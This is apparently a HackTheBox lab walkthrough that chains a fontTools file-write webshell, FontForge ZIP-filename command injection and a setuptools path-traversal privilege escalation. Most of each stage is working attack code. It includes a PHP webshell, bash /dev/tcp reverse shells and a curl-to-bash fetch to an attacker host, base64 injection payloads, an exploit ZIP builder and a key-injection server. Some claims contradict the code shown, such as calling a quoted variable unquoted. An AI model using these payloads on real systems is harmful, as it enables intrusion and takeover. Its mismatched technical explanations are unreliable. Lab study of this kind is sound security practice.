Machine Overview & Difficulty

VariaType is a Medium-difficulty HackTheBox Linux machine showcasing real-world font processing vulnerabilities. Released in HackTheBox Season 10, it demonstrates the critical importance of secure file handling and input sanitization in specialized applications. The machine requires exploitation of three chained vulnerabilities to achieve complete system compromise.

Key Vulnerabilities & Techniques

  • CVE-2025-66034: fontTools varLib arbitrary file write + XML injection vulnerability
  • CVE-2024-25081: FontForge command injection via ZIP filename handling
  • setuptools PackageIndex: Path traversal via URL-encoded path sequences
  • Privilege Escalation: Cron job exploitation and NOPASSWD sudo abuse

Attack Chain Summary

graph TD A["🎯 Target: VariaType<br/>Variable Font Generator"] --> B["🔍 Recon Phase<br/>Git Enumeration"] B --> C{"fontTools<br/>Available?"} C -->|Yes| D["📦 Stage 1: CVE-2025-66034<br/>XML Injection + File Write"] D --> E["✅ www-data Shell<br/>PHP Webshell RCE"] E --> F["🔎 Internal Enumeration<br/>Discover Cron Jobs"] F --> G["💣 Stage 2: CVE-2024-25081<br/>ZIP Filename Command Injection"] G --> H["✅ steve User Shell<br/>Cron Execution as steve"] H --> I["🔐 Privilege Check<br/>NOPASSWD Sudo Analysis"] I --> J["🚀 Stage 3: setuptools RCE<br/>Path Traversal + SSH Key"] J --> K["✅ root Shell<br/>Full System Compromise"] K --> L["🏁 Flag Capture<br/>Mission Complete"] style A fill:#ff6b6b style E fill:#51cf66 style H fill:#51cf66 style K fill:#51cf66 style L fill:#4dabf7

Recon & Initial Enumeration

Hosts Configuration

Begin by updating your local hosts file to resolve the domain names pointing to the target machine:

# Add to /etc/hosts
echo "TARGET_IP variatype.htb portal.variatype.htb" >> /etc/hosts

Network Scanning with Nmap

Execute a comprehensive network scan to enumerate all open ports and running services:

nmap -p- -sC -sV -O -A variatype.htb 2>&1 | tee nmap-scan.txt

Key Findings:

  • Port 80/tcp: HTTP web server (nginx)
  • Port 443/tcp: HTTPS web server (nginx)
  • Multiple application services running

Nmap scan results showing open ports and service versions

Web Enumeration

Navigate to the web interface to identify the application functionality and potential attack vectors:

# Browser or curl for reconnaissance
curl -i http://variatype.htb/
curl -i https://variatype.htb/

# Enumerate common directories and endpoints
curl -s http://variatype.htb/admin/ -o /dev/null -w '%{http_code}'
curl -s http://variatype.htb/api/ -o /dev/null -w '%{http_code}'

The site features a Variable Font Generator web application that accepts .designspace files and source fonts for processing. This is the initial attack surface we’ll exploit through CVE-2025-66034.

Key Observations:

  • Font upload functionality accepts user-supplied files
  • No apparent validation of file contents or structure
  • Application processes designspace XML files server-side
  • Output files potentially accessible via web root

Web interface showing font upload functionality


Stage 1: www-data Shell via CVE-2025-66034

Vulnerability Overview & Impact

CVE Identifier: CVE-2025-66034
Vulnerability Type: Arbitrary File Write + XML Injection in fontTools varLib
CVSS Score: 6.3 (Moderate Severity)
Affected Software: fontTools >= 4.33.0, < 4.60.2
Patch Version: fontTools >= 4.60.2
Impact: Remote Code Execution (RCE) without authentication
Attack Complexity: Medium (requires knowledge of designspace format)
Authentication Required: No
User Interaction: Yes (user must upload malicious file)

Vulnerability Analysis: CVE-2025-66034

Technical Details

How the Vulnerability Works

The fontTools library processes .designspace XML files that describe variable font configurations. The vulnerability comprises two distinct flaw components:

Component 1: Arbitrary File Write

  • The filename attribute in <variable-font> XML elements is not sanitized or validated
  • Attackers can specify arbitrary filesystem paths including:
    • Absolute paths: /var/www/html/shell.php
    • Path traversal sequences: ../../../etc/passwd
    • Web-accessible directories where output will be served

Component 2: XML Content Injection

  • The <labelname> XML elements support CDATA sections
  • CDATA content is not escaped when written to output files
  • Attackers can inject arbitrary code (PHP, JSP, Python, etc.)
  • The injected code becomes part of the output file

Attack Scenario

When these components are combined by an attacker:

  1. Craft a malicious .designspace XML file
  2. Specify output filename: /var/www/portal.variatype.htb/public/files/shell.php
  3. Inject PHP webshell code via CDATA: <?php system($_GET["cmd"]); ?>
  4. Upload the designspace file through the web interface
  5. The vulnerable fontTools.varLib processes it server-side
  6. Writes the PHP code directly to web-accessible directory
  7. Access http://portal.variatype.htb/files/shell.php?cmd=id for RCE

Root Cause

In fontTools/varLib/__init__.py:

filename = vf.filename  # Unsanitized filename from XML
output_path = os.path.join(output_dir, filename)  # Path traversal possible
vf.save(output_path)  # Arbitrary file write

Step 1: Enumerate & Clone Exposed Git Repository

Objective: Extract source code and pre-built font files needed for exploitation

First, attempt to discover the git repository (a common misconfiguration):

# Check for git directory exposure
curl -s http://variatype.htb/.git/HEAD
curl -s http://variatype.htb/.git/config

# Clone the entire repository
git clone http://variatype.htb/.git /tmp/git-repo 2>&1
cd /tmp/git-repo && ls -la

Expected Output:

setup.py  source-light.ttf  source-regular.ttf  README.md

Repository Analysis:
The exposed git repository contains:

  • setup.py - Script for generating TTF font files
  • source-light.ttf - Pre-built font file (weight 100)
  • source-regular.ttf - Pre-built font file (weight 400)
  • Commit history with developer comments
  • Configuration files and dependencies

This is critical because the designspace file we’ll craft must reference valid TTF files for the vulnerability to trigger properly.

Step 2: Generate Valid TTF Font Files

Why This Step is Critical: The designspace XML file can reference local font files (e.g., source-light.ttf). When fontTools processes the designspace, it validates that these referenced files exist. If they don’t exist locally on your attacking machine, the exploit won’t progress far enough to trigger the vulnerability. Therefore, we must generate valid (but minimal) TTF files.

Local Exploit Preparation (on attacker machine):

mkdir -p /tmp/variatype-exploit && cd /tmp/variatype-exploit

Create setup.py to generate valid font files:

#!/usr/bin/env python3
"""
Generate minimal valid TTF font files for CVE-2025-66034 exploitation.
These files are required as source fonts referenced in the designspace file.
"""
import os
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen

def create_source_font(filename, weight=400):
    """
    Create a minimal valid TTF font file.
    
    Args:
        filename: Output TTF filename
        weight: Font weight (100-900, default 400 for regular)
    """
    fb = FontBuilder(unitsPerEm=1000, isTTF=True)
    fb.setupGlyphOrder([".notdef"])
    fb.setupCharacterMap({})
    
    # Create a simple glyph outline
    pen = TTGlyphPen(None)
    pen.moveTo((0, 0))
    pen.lineTo((500, 0))
    pen.lineTo((500, 500))
    pen.lineTo((0, 500))
    pen.closePath()
    
    fb.setupGlyf({".notdef": pen.glyph()})
    fb.setupHorizontalMetrics({".notdef": (500, 0)})
    fb.setupHorizontalHeader(ascent=800, descent=-200)
    fb.setupOS2(usWeightClass=weight)
    fb.setupPost()
    fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
    fb.save(filename)
    print(f"[+] Created {filename} (weight={weight})")

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    create_source_font("source-light.ttf", weight=100)
    create_source_font("source-regular.ttf", weight=400)

Execute the font generation:

python3 setup.py
ls -lh source-*.ttf

Step 3: Craft Malicious Designspace File

Attack Objective: Create a specially crafted designspace XML file combining two exploit techniques:

  • Arbitrary File Write: Output filename pointing to web-writable location
  • XML Injection: PHP code embedded via CDATA in labelname elements

Key Technical Points:

  • CDATA sections allow “raw” text that bypasses XML escaping
  • The closing ]]> is properly escaped as ]]]]><![CDATA[>
  • The combined text becomes the actual file contents when written

Create the Exploit Payload:

cat > malicious.designspace << 'EOF'
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
  <axes>
    <axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
      <!-- XML Injection: PHP code inside CDATA section -->
      <labelname xml:lang="en"><![CDATA[<?php system($_GET["cmd"]); ?>]]]]><![CDATA[>]]></labelname>
      <labelname xml:lang="fr">Regular</labelname>
    </axis>
  </axes>
  <sources>
    <!-- Reference the source fonts we generated -->
    <source filename="source-light.ttf" name="Light">
      <location><dimension name="Weight" xvalue="100"/></location>
    </source>
    <source filename="source-regular.ttf" name="Regular">
      <location><dimension name="Weight" xvalue="400"/></location>
    </source>
  </sources>
  <!-- Arbitrary File Write: Output path with PHP extension and web-accessible location -->
  <variable-fonts>
    <variable-font name="MyFont" filename="/var/www/portal.variatype.htb/public/files/shell.php">
      <axis-subsets>
        <axis-subset name="Weight"/>
      </axis-subsets>
    </variable-font>
  </variable-fonts>
</designspace>
EOF

Key Exploitation Elements:

  • filename="/var/www/portal.variatype.htb/public/files/shell.php" — Web-accessible path
  • <![CDATA[<?php system($_GET["cmd"]); ?>]] — PHP webshell code injected
  • The CDATA encoding bypasses XML parsing and gets written literally to the output file

Crafted malicious designspace file with PHP injection payload

Step 4: Upload Exploit to Font Generator

Submit the malicious files to the font generator endpoint:

curl -s -X POST http://variatype.htb/tools/variable-font-generator/process \
  -F "designspace=@malicious.designspace" \
  -F "masters=@source-light.ttf" \
  -F "masters=@source-regular.ttf" \
  -v

Expected Response: Success message or HTTP 200

The vulnerable fontTools processing engine:

  1. Reads your designspace XML
  2. Extracts the output filename (with no sanitization)
  3. Generates the font file
  4. Writes it to the specified path: /var/www/portal.variatype.htb/public/files/shell.php
  5. The PHP code is embedded in the output file

Successful upload of malicious designspace file

Step 5: RCE via PHP Webshell

Now trigger the PHP code execution to establish a reverse shell:

Terminal 1 — Start Netcat/Penelope Listener:

# Using netcat
rlwrap nc -lvnp 4444

# OR using penelope (auto-stabilizes shell)
penelope -l 4444

Terminal 2 — Host Reverse Shell Payload:

# Create reverse shell script
echo 'bash -i >& /dev/tcp/YOUR_ATTACKER_IP/4444 0>&1' > /tmp/rev.sh

# Host on HTTP server
cd /tmp && python3 -m http.server 8080

Terminal 3 — Trigger Webshell & Execute Payload:

# Execute through the PHP webshell
curl -s "http://portal.variatype.htb/files/shell.php?cmd=curl+YOUR_ATTACKER_IP:8080/rev.sh|bash"

# Alternative: Direct bash execution
curl -s "http://portal.variatype.htb/files/shell.php?cmd=bash+-i+>%26+/dev/tcp/YOUR_ATTACKER_IP/4444+0>%261"

Shell Received as www-data:

www-data@variatype:/var/www/portal.variatype.htb/public$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Successful reverse shell trigger yielding www-data access


Stage 2: steve User via CVE-2024-25081

Vulnerability Overview

CVE Identifier: CVE-2024-25081
Vulnerability Type: Shell Command Injection via Unquoted Variable
Affected Software: FontForge (when called from shell scripts)
Attack Vector: Malicious filename containing shell metacharacters
Execution Context: Cron job running as steve user
Impact: Remote Code Execution as privileged user (steve)
Complexity: Low (simple filename crafting)
Root Cause: Unquoted variables passed to shell command

Vulnerability Analysis: CVE-2024-25081

How the Vulnerability Works

The Vulnerable Script Structure:
A cron job runs periodically (every 1-2 minutes), processing .zip files from an upload directory. The script is:

#!/bin/bash
cd /var/www/portal.variatype.htb/public/files

for f in *.zip; do
    [ -e "$f" ] || continue
    fontforge -script process.py "$f"  # ❌ VULNERABLE: $f not quoted!
    rm "$f"
done

The Flaw: The $filename variable is not properly quoted, allowing shell metacharacters to be interpreted.

Shell Command Substitution Syntax:

  • $(command) → executes command and substitutes stdout
  • Backticks: `command` → equivalent alternative syntax
  • The substitution happens before the command is executed

Attack Example:
Create a ZIP file with filename:

$(echo_base64_payload|base64_-d|bash).zip

When cron processes this file, the shell command becomes:

fontforge -script process.py "$(echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ni81NTU1IDA+JjE=|base64 -d|bash).zip"

Execution Flow:

  1. Shell sees $() syntax
  2. Before executing fontforge, the substitution is evaluated
  3. The base64 payload is decoded and executed immediately
  4. Reverse shell connection established
  5. fontforge receives a strange filename but damage is already done

Step 1: Stabilize Initial Web Shell (www-data)

Before escalating, properly stabilize your current shell:

# Spawn interactive bash with PTY
python3 -c 'import pty;pty.spawn("/bin/bash")'

# Background the shell
# Press Ctrl+Z

# Configure terminal
stty raw -echo; fg
export TERM=xterm

Step 2: Discover Cron Script & Understand Vulnerability

From the www-data shell, examine the backup of the cron script:

cat /opt/process_client_submissions.bak

Script Analysis:

#!/bin/bash
# Process ZIP files uploaded by clients
cd /var/www/portal.variatype.htb/public/files

for f in *.zip; do
    [ -e "$f" ] || continue
    # VULNERABLE: $f is not quoted, shell interprets metacharacters
    fontforge -script process.py "$f"
    rm "$f"
done

This runs every 1-2 minutes as the steve user via cron.

Step 3: Generate Reverse Shell Payload

On your attacker machine, create the exploit:

# 1. Generate base64-encoded reverse shell payload
PAYLOAD="bash -i >& /dev/tcp/YOUR_ATTACKER_IP/5555 0>&1"
B64_PAYLOAD=$(echo "$PAYLOAD" | base64)
echo "[+] Base64 Payload: $B64_PAYLOAD"

# Example output:
# YmFzaCAtaSA+JiAvZGV2L3RjcC8xMC4xMC4xNC40Ni81NTU1IDA+JjE=

Create the exploit script:

cat > /tmp/create_exploit_zip.py << 'EOF'
#!/usr/bin/env python3
"""
CVE-2024-25081 Exploit: Create ZIP with command-injection filename
Requires: base64-encoded reverse shell payload
"""
import zipfile
import sys

if len(sys.argv) < 2:
    print("Usage: python3 create_exploit_zip.py <base64_payload>")
    sys.exit(1)

payload = sys.argv[1]
# Filename with command injection using $() syntax
exploit_filename = f"$(echo {payload}|base64 -d|bash).ttf"

# Create ZIP with malicious filename
with zipfile.ZipFile('/tmp/exploit.zip', 'w') as zipf:
    zipf.writestr(exploit_filename, "dummy font content")

print(f"[+] Created /tmp/exploit.zip with payload filename")
print(f"[+] When processed by fontforge script, will execute:")
print(f"    bash -i >& /dev/tcp/ATTACKER_IP/5555 0>&1")
EOF

chmod +x /tmp/create_exploit_zip.py
python3 /tmp/create_exploit_zip.py "YmFzaCAtaSA+JiAvZGV2L3RjcC9ZT1VSX0lQLzU1NTUgMD4mMQ=="

# Verify ZIP contents
unzip -l /tmp/exploit.zip

Step 4: Upload Crafted ZIP via www-data

From your www-data shell, download and upload the exploit ZIP:

# Terminal 2 (attacker): Host the ZIP
cd /tmp && python3 -m http.server 8080

# Terminal 3 (www-data shell): Download and place in processing directory
curl http://YOUR_ATTACKER_IP:8080/exploit.zip -o \
  /var/www/portal.variatype.htb/public/files/exploit.zip

# Verify placement
ls -la /var/www/portal.variatype.htb/public/files/

ZIP file uploaded to www-data processing directory

Step 5: Catch Reverse Shell from Cron Job

Set up listener and wait for the cron job to execute (typically 1-2 minutes):

# Terminal 1 (attacker): Start listener
rlwrap nc -lvnp 5555
# OR with penelope
penelope -p 5555

# Wait for connection...
# Connection received from 10.129.X.X port XXXXX

steve@variatype:~$ id
uid=1001(steve) gid=1001(steve) groups=1001(steve)

Step 6: Retrieve User Flag

Once you have the steve user shell:

cat /home/steve/user.txt
# FLAG{...}

User shell access and flag retrieval


Stage 3: root Access via setuptools Path Traversal

Vulnerability Overview

Component: setuptools.PackageIndex().download() method
Vulnerability Type: Path Traversal via URL Decoding
CVE Reference: Unassigned (0-day style vulnerability in setuptools)
Attack Vector: %2F (URL-encoded forward slash) in download URLs
Privilege Escalation: Executed with root privileges via NOPASSWD sudo
Severity: Critical (arbitrary file write as root)
Root Cause: Insufficient path validation after URL decoding

Technical Background & Exploitation Mechanism

The setuptools.PackageIndex.download() Process:
The setuptools library includes a PackageIndex class for downloading and installing Python packages. When download() is called with a URL:

# Vulnerable implementation (pseudocode)
from urllib.request import urlparse
import urllib.parse
import os

def download(self, url, dst_dir):
    parsed_url = urlparse(url)
    # Extract filename from URL path
    filename = os.path.basename(parsed_url.path)  
    # ❌ VULNERABLE: URL-decode WITHOUT path validation
    filename_decoded = urllib.parse.unquote(filename)
    # ❌ Path traversal: decoded filename can contain '/'
    destination = os.path.join(dst_dir, filename_decoded)
    # Write file to destination (with root privileges if called via sudo)
    self._write_file(destination, downloaded_content)

The Core Issue:

  1. URL extracts filename from URL path
  2. URL-decodes the filename (converting %2F/)
  3. Does NOT validate the decoded filename for path traversal
  4. Joins decoded filename with destination directory
  5. Result: Absolute paths or subdirectory traversal possible

URL Encoding Reference:

CharacterEncodedPurpose
/%2FPath separator (directory)
.%2EDot (for .. sequences)
Space%20URL-safe encoding

Attack Example:

Original: http://attacker.com/%2Froot%2F.ssh%2Fauthorized_keys
Extracted filename: %2Froot%2F.ssh%2Fauthorized_keys
URL-decoded: /root/.ssh/authorized_keys
Result: Writes to /root/.ssh/authorized_keys (absolute path!)

When called via NOPASSWD sudo, this executes as root, allowing arbitrary file write.

Step 1: Enumerate NOPASSWD Sudo Privileges

From the steve shell, check what commands can be run with sudo without a password:

sudo -l

Expected Output:

User steve may run the following commands on variatype:
    (root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *

This means steve can run the install_validator.py script as root without providing a password.

NOPASSWD sudo privileges enumeration

Step 2: Analyze the Vulnerable Script

Examine the script being executed:

cat /opt/font-tools/install_validator.py

Script Analysis:

#!/usr/bin/env python3
"""
Font tools plugin installer with validator.
Accepts a URL to download a plugin file.
"""
import sys
import os
from setuptools.package_index import PackageIndex

def main():
    if len(sys.argv) < 2:
        print("Usage: install_validator.py <url>")
        sys.exit(1)
    
    url = sys.argv[1]
    # Vulnerable: No validation of destination path
    pi = PackageIndex()
    pi.download(url, "/opt/font-tools/plugins/")

if __name__ == "__main__":
    main()

The download() method:

  1. Extracts filename from URL
  2. URL-decodes it (converting %2F to /)
  3. Saves file to /opt/font-tools/plugins/ + filename

By crafting a URL with encoded path traversal characters, we can write to /root/.ssh/authorized_keys.

Step 3: Generate SSH Key Pair

On the attacker machine, generate an Ed25519 key pair:

# Generate SSH key pair
ssh-keygen -t ed25519 -f /tmp/rootkey -N ""

# Verify key generation
ls -la /tmp/rootkey*
# output: /tmp/rootkey (private), /tmp/rootkey.pub (public)

# Display public key
cat /tmp/rootkey.pub

Step 4: Create Malicious HTTP Server

Set up a Python HTTP server that serves the public key disguised as an executable:

mkdir -p /tmp/serve
cp /tmp/rootkey.pub /tmp/serve/authorized_keys

cat > /tmp/serve/server.py << 'EOF'
#!/usr/bin/env python3
"""
Serves authorized_keys file for any requested path.
Used to deliver SSH public key to root's .ssh directory.
"""
from http.server import HTTPServer, BaseHTTPRequestHandler
import os

class AllPathsHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        """Serve authorized_keys regardless of requested path."""
        try:
            with open('authorized_keys', 'rb') as f:
                data = f.read()
            
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.send_header('Content-Length', len(data))
            self.end_headers()
            self.wfile.write(data)
            
            print(f"[+] Served authorized_keys to {self.client_address[0]}")
        except Exception as e:
            self.send_response(500)
            self.end_headers()
            print(f"[-] Error: {e}")
    
    def log_message(self, format, *args):
        """Suppress default logging."""
        pass

if __name__ == '__main__':
    os.chdir(os.path.dirname(os.path.abspath(__file__)))
    print("[+] Starting server on 0.0.0.0:8888")
    print("[+] Serving authorized_keys for SSH key injection")
    HTTPServer(('0.0.0.0', 8888), AllPathsHandler).serve_forever()
EOF

cd /tmp/serve && python3 server.py

Step 5: Craft Malicious URL with Path Traversal

The vulnerability lies in how setuptools.PackageIndex decodes the URL:

URL: http://YOUR_ATTACKER_IP:8888/%2Froot%2F.ssh%2Fauthorized_keys

When processed:
1. Extracted filename: %2Froot%2F.ssh%2Fauthorized_keys
2. URL-decoded: /root/.ssh/authorized_keys
3. Combined with base: /opt/font-tools/plugins/ + /root/.ssh/authorized_keys
4. Result: /root/.ssh/authorized_keys (path traversal succeeds!)

Step 6: Inject SSH Key as Root

From the steve user shell, execute the vulnerable script with the crafted URL:

# Create the .ssh directory structure (may already exist)
sudo mkdir -p /root/.ssh 2>/dev/null

# Execute the vulnerable script with path traversal payload
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
  "http://YOUR_ATTACKER_IP:8888/%2Froot%2F.ssh%2Fauthorized_keys"

# Expected output:
# Plugin installed at: /root/.ssh/authorized_keys

The script will:

  1. Contact our HTTP server
  2. Download the authorized_keys file (which is our SSH pubkey)
  3. Write it to /root/.ssh/authorized_keys as root
  4. No file permission issues since root is writing

SSH key successfully injected to root's authorized_keys

Step 7: SSH as Root & Retrieve Flag

Connect to the target as root using the private key:

# SSH with private key
ssh -i /tmp/rootkey root@variatype.htb

# Verify root access
root@variatype:~# id
uid=0(root) gid=0(root) groups=0(root)

# Retrieve root flag
root@variatype:~# cat /root/root.txt
FLAG{...}

Root shell access and flag capture


Complete Exploitation Chain Summary

Visual Flowchart of Complete Attack

flowchart LR Start(["🌐 Attacker Network<br/>Kali Linux"]) Start --> Recon["Phase 1: Reconnaissance<br/>━━━━━━━━━━━━━━<br/>• nmap scan ports<br/>• Web enumeration<br/>• Git repo discovery"] Recon --> Stage1Start["Phase 2: Stage 1<br/>━━━━━━━━━━━━━━<br/>Target: www-data"] Stage1Start --> Clone["Clone .git repo<br/>Extract fonts"] Clone --> GenFonts["Generate TTF files<br/>source-light.ttf<br/>source-regular.ttf"] GenFonts --> CraftXML["Craft malicious<br/>designspace.xml<br/>+ PHP injection"] CraftXML --> Upload1["Upload to<br/>Font Generator<br/>Endpoint"] Upload1 --> RCE1["✅ fontTools processes<br/>CVE-2025-66034 triggered<br/>PHP webshell written"] RCE1 --> Shell1["🔓 www-data Shell<br/>php spawn"] Shell1 --> Stage2Start["Phase 3: Stage 2<br/>━━━━━━━━━━━━━━<br/>Target: steve"] Stage2Start --> FindCron["Discover cron script<br/>process_client_submissions.bak<br/>fontforge processing"] FindCron --> B64Encode["Base64 encode<br/>reverse shell payload"] B64Encode --> CraftZip["Craft malicious ZIP<br/>filename with $()<br/>substitution"] CraftZip --> Upload2["Upload ZIP to<br/>processing directory"] Upload2 --> Wait["⏱️ Wait for cron<br/>~1-2 minutes"] Wait --> RCE2["✅ Cron executes<br/>CVE-2024-25081 triggered<br/>foo() command injection"] RCE2 --> Shell2["🔓 steve Shell<br/>bash reverse shell"] Shell2 --> Stage3Start["Phase 4: Stage 3<br/>━━━━━━━━━━━━━━<br/>Target: root"] Stage3Start --> CheckSudo["Check NOPASSWD sudo<br/>sudo -l"] CheckSudo --> AnalyzeScript["Analyze<br/>install_validator.py<br/>setuptools usage"] AnalyzeScript --> SSHKeyGen["Generate SSH keypair<br/>e.d25519 private/public"] SSHKeyGen --> HTTPServer["Start HTTP server<br/>Port 8888<br/>Serve authorized_keys"] HTTPServer --> URLEncode["Craft URL<br/>%2Froot%2F.ssh%2F<br/>authorized_keys"] URLEncode --> SudoExec["Execute via NOPASSWD sudo<br/>install_validator.py"] SudoExec --> RCE3["✅ setuptools processes<br/>URL decoded → path traversal<br/>SSH key written to /root/.ssh/"] RCE3 --> Shell3["🔓 root Shell<br/>ssh authentication"] Shell3 --> Flag["📜 Capture flags<br/>user.txt<br/>root.txt"] Flag --> End(["✨ Machine Pwned<br/>Complete Compromise"]) style Start fill:#ff6b6b style Shell1 fill:#51cf66 style Shell2 fill:#51cf66 style Shell3 fill:#51cf66 style Flag fill:#4dabf7 style End fill:#4dabf7

Privilege Escalation Path

┌─────────────────────────────────┐
│ No Privilege (Web Request)      │
│ ↓                               │
│ www-data (nginx user)           │
│      ↓                          │
│ steve (cron script owner)       │
│      ↓                          │
│ root (NOPASSWD sudo)            │
└─────────────────────────────────┘

Vulnerability Comparison & Technical Insights

Attack Vector Comparison Diagram

graph LR subgraph CVE1["CVE-2025-66034<br/>fontTools XML Injection"] A1["Input: designspace XML"] --> B1["Attack: Unval. filename<br/>+ CDATA injection"] B1 --> C1["Output: PHP file<br/>in web root"] C1 --> D1["Impact: www-data RCE"] style D1 fill:#ff6b6b end subgraph CVE2["CVE-2024-25081<br/>FontForge Command Injection"] A2["Input: ZIP filename"] --> B2["Attack: Unquoted var<br/>in shell"] B2 --> C2["Output: Code execution<br/>in $()"] C2 --> D2["Impact: steve RCE"] style D2 fill:#ff6b6b end subgraph CVE3["setuptools Path Traversal"] A3["Input: URL parameter"] --> B3["Attack: %2F decode<br/>no validation"] B3 --> C3["Output: File write<br/>to /root/.ssh"] C3 --> D3["Impact: root RCE"] style D3 fill:#ff6b6b end CVE1 --> CVE2 --> CVE3 style CVE1 fill:#fff3bf style CVE2 fill:#fff3bf style CVE3 fill:#fff3bf

CVE-2025-66034: fontTools varLib

AspectDetails
Root CauseUnsanitized filename from XML + unquoted path handling
Attack TypeFile write + content injection
ComplexityMedium (requires font generation knowledge)
ImpactHigh (code execution in application context)
MitigationValidate/sanitize all XML inputs, restrict output paths

CVE-2024-25081: FontForge

AspectDetails
Root CauseUnquoted variable in shell command
Attack TypeCommand injection via filename
ComplexityLow (simple filename crafting)
ImpactCritical (execution with cron user privileges)
MitigationQuote variables, use shlex for shell escaping

setuptools Path Traversal

AspectDetails
Root CauseURL decoding before path validation
Attack TypePath traversal
ComplexityLow (standard URL encoding)
ImpactCritical (arbitrary file write as root)
MitigationValidate destination paths, reject absolute paths

Tools & Resources

Essential Tools

  • fontTools: Font manipulation library (vulnerable version)
  • setuptools: Package management library
  • Standard: curl, wget, netcat, ssh, git, python3

Exploitation Resources


Conclusion

VariaType demonstrates a realistic multi-stage exploitation scenario combining specialized knowledge (font processing) with common web and privilege escalation techniques. The vulnerability chain emphasizes how seemingly minor “security issues” (unvalidated filenames, unquoted variables) can cascade into complete system compromise.

The three CVEs exploited represent different classes of vulnerabilities:

  • XML Injection: Malicious data in structured formats
  • Command Injection: Unquoted variables in shell contexts
  • Path Traversal: URL decoding mishandling

Understanding and exploiting this chain requires knowledge across multiple domains—web application security, file format handling, privilege escalation, and network exploitation. This makes VariaType an excellent machine for advancing practical penetration testing skills.


Credits & Resources

References & Additional Reading

Official CVE Advisories:

Featured Tool Documentation:

Related Security Research:

  • XML Injection in Enterprise Applications
  • Shell Command Injection Prevention Best Practices
  • Path Traversal Vulnerabilities in Download Handlers

Tools Used for This Writeup

  • Exploitation Tools: Python 3, fontTools library, zipfile module
  • Network Tools: nmap, curl,penelope, netcat, SSH client
  • Analysis Tools: Burp Suite (optional)
  • Documentation: Markdown, Mermaid diagramming

Acknowledgments

Security Researchers & Reporters:

  • CVE-2025-66034 discovered and reported by: @ntandiono and @vk-can
  • fontTools maintainers for responsible disclosure and patching

Acknowledgment card

CVEs Used

CVEComponentSeverityImpact
CVE-2025-66034fontTools designspace XML injectionMedium (6.3)RCE via webshell file write
CVE-2024-25081FontForge ZIP filename command injectionHighRCE as cron execution user
setuptools PackageIndex path traversalURL decoding in file downloadsHighArbitrary file write as root